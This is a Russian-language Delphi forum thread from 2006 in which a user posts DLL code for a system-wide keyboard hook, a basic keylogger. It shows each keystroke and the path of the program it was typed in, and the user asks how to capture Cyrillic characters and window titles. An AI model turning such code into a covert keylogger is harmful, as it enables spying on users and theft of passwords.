Вниз
Скачать: CL | DM;

Клавиатурный шпион   Найти похожие ветки 

← →
Dmitry_177   (2006-07-26 18:19) [0]

Попробовал сделать свой клавиатурный шпион, чисто из интереса как это работает, не подумайте ничего плохого.. Сделал я так, в библиотеке:

var
 SysHook: HHook = 0;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: array[0..MAX_PATH-1] of Char;
 KeyName: array[0..16] of Char;
begin
 if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyNameText(lParam, KeyName, SizeOf(KeyName));
     GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));
     ShowMessage(ModuleFileName + #10#13 + KeyName);
     Result := 0;
   end
 else
   Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook; export; stdcall;  // для запуска хука
begin
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;

procedure StopHook; export; stdcall;  // для остановки хука
begin
 UnHookWindowsHookEx(SysHook);
 SysHook := 0;
end;

Все работает, при каждом вводе символа в любом окне, выскакивает окно с символом и путь программы в котором был этот символ введен... Но у меня появилось 2 вопросика:
 1. Почему символы только на английском показываются, т.е. хоть даже раскладка клавиатуры будет русской, символы всеравно на английском показываются? Можно ли это как-то исправить?
 2. Можно ли узнать еще заголовок окна программы?


← →
PSPF2003 ©   (2006-07-26 18:32) [1]


>  1. Почему символы только на английском показываются, т.
> е. хоть даже раскладка клавиатуры будет русской, символы
> всеравно на английском показываются? Можно ли это как-то
> исправить?

Почитай как работает клава.


← →
Dmitry_177   (2006-07-26 19:51) [2]

Я как понимаю нужно использовать функцию ToAsciiEx, подскажите как ее использовать, что-то я не разберусь, мсдн читал про нее...
Подскажите пожалуйста еще по второму вопросу...


← →
Dmitry_177   (2006-07-26 20:12) [3]

Пробовал без функции GetKeyNameText, так:

var
KeyBS: TKeyboardState;
BufKeyName: array[0..16] of Char;
...

GetKeyBoardState(KeyBS);
ToAsciiEx(wParam, 0, KeyBS, BufKeyName, 0, GetKeyboardLayout(0));

выводит не правильно символы.. Подскажите пожалуйста...


← →
KilkennyCat ©   (2006-07-26 23:46) [4]

http://www.firststeps.ru/mfc/winapi/keyb/r.php?23



Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.46 MB
Время: 0.025 c
15-1153127652
xman
2006-07-17 13:14
2006.08.13
Сайт с компонентами на Delphi


15-1152715997
TUser
2006-07-12 18:53
2006.08.13
Кондиционеры


15-1152657756
SPeller
2006-07-12 02:42
2006.08.13
Снова борьба с альтернативными ICQ клиентами?


15-1152949725
QuickFinder
2006-07-15 11:48
2006.08.13
Программа для редактирования видео


15-1153338541
Furyz-dimodim
2006-07-19 23:49
2006.08.13
AJAX технология




   Наверх